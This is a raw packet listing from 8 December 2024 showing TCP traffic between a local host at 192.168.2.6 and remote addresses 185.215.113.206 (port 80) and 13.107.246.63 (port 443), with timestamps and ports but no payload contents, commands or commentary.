Dec 8, 2024 15:38:43.675273895 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.675482035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.675530910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.676521063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.676563978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.676637888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.676683903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.677500010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.677556992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.678164005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.678323984 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.678663015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.678680897 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.678704023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.678719997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.679845095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.679891109 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.680044889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.680088997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.680932045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.680990934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.681346893 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.681391954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.682058096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.682101011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.682410955 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.682450056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.683517933 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.683559895 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.683594942 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.683640003 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.684545040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.684592009 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.684746981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.684796095 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.685627937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.685681105 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.686006069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.686052084 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.686606884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.686671972 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.686811924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.686860085 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.687753916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.687810898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.687846899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.687886953 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.688883066 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.688922882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.688929081 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.688965082 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.690002918 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.690043926 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.690586090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.690624952 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.691175938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.691226959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.691236973 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.691277027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.692418098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.692459106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.692584991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.692630053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.692725897 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.692729950 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.692795038 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.692821980 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.692837000 CET	49804	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.692869902 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.693133116 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.693145990 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.693156958 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.693162918 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.693170071 CET	49804	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.693186998 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.693208933 CET	49804	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.693213940 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.693526983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.693588018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.693595886 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.693636894 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.693701982 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.693753958 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.693793058 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.693948030 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.693994045 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.694031000 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.694617987 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.694668055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.694684029 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.694688082 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.694736958 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.694740057 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.694849014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.694874048 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.694880962 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.694907904 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.695713997 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.695772886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.696202040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.696255922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.696809053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.696868896 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.698044062 CET	49806	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.698061943 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.698126078 CET	49806	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.698442936 CET	49806	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.698457003 CET	443	49806	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.700300932 CET	49807	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.700320959 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.700324059 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.700335979 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.700398922 CET	49807	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.700406075 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.700534105 CET	49807	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.700544119 CET	443	49807	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.700560093 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.700571060 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.701047897 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.701066017 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.701160908 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.701245070 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.701256037 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.736962080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.737031937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.737509012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.737523079 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.737538099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.737570047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.737593889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.738687992 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.738744974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.739083052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.739134073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.739907980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.739967108 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.740442991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.740489006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.740777016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.740823984 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.741574049 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.741622925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.741919994 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.741966963 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.742010117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.742059946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.743088961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.743138075 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.743630886 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.743679047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.744267941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.744319916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.744436979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.744503021 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.745630980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.745677948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.745984077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.746042967 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.746773958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.746787071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.746824980 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.746843100 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.747623920 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.747678041 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.748367071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.748416901 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.748800993 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.748823881 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.748852015 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.748864889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.749939919 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.749989033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.750816107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.750864983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.751137972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.751154900 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.751187086 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.751199961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.752197027 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.752247095 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.752849102 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.752897978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.753307104 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.753354073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.753643036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.753690958 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.754416943 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.754462004 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.754733086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.754780054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.755626917 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.755676985 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.756449938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.756498098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.756825924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.756875992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.756900072 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.756937981 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.757872105 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.757884979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.757915974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.757930040 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.758982897 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.759032965 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.760250092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.760267019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.760286093 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.760298014 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.760310888 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.760335922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.761492968 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.761559010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.762424946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.762440920 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.762456894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.762473106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.762491941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.763609886 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.763658047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.764702082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.764719009 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.764735937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.764766932 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.764787912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.765883923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.765940905 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.766577005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.766632080 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.766930103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.766978979 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.767416954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.767472982 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.768148899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.768167019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.768201113 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.768217087 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.769306898 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.769324064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.769352913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.769366980 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.863620043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.863688946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.863701105 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.863738060 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.864130974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.864207029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.864290953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.864337921 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.865278006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.865329027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.865353107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.865396976 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.866415977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.866462946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.866931915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.866981983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.867608070 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.867659092 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.867690086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.867732048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.868778944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.868825912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.869369984 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.869414091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.869834900 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.869847059 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.869874954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.869889021 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.870949030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.870994091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.871494055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.871539116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.872131109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.872175932 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.872329950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.872375965 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.873253107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.873302937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.873673916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.873719931 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.874366045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.874428988 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.874552011 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.874598026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.875520945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.875577927 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.875803947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.875854015 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.877247095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.877295017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.877777100 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.877823114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.878652096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.878700018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.878973007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.879059076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.879515886 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.879564047 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.879797935 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.879846096 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.880455971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.880503893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.881119967 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.881170988 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.881422997 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.881469011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.881728888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.881774902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.882386923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.882432938 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.882728100 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.882774115 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.883470058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.883517027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.883950949 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.883996010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.884576082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.884624958 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.884665966 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.884708881 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.885931015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.885977983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.885978937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.886010885 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.886862040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.886908054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.887290955 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.887336016 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.888032913 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.888081074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.888566971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.888614893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.889220953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.889266014 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.929085016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.929146051 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.929709911 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.929734945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.929752111 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.929764032 CET	49787	80	192.168.2.6	185.215.113.206
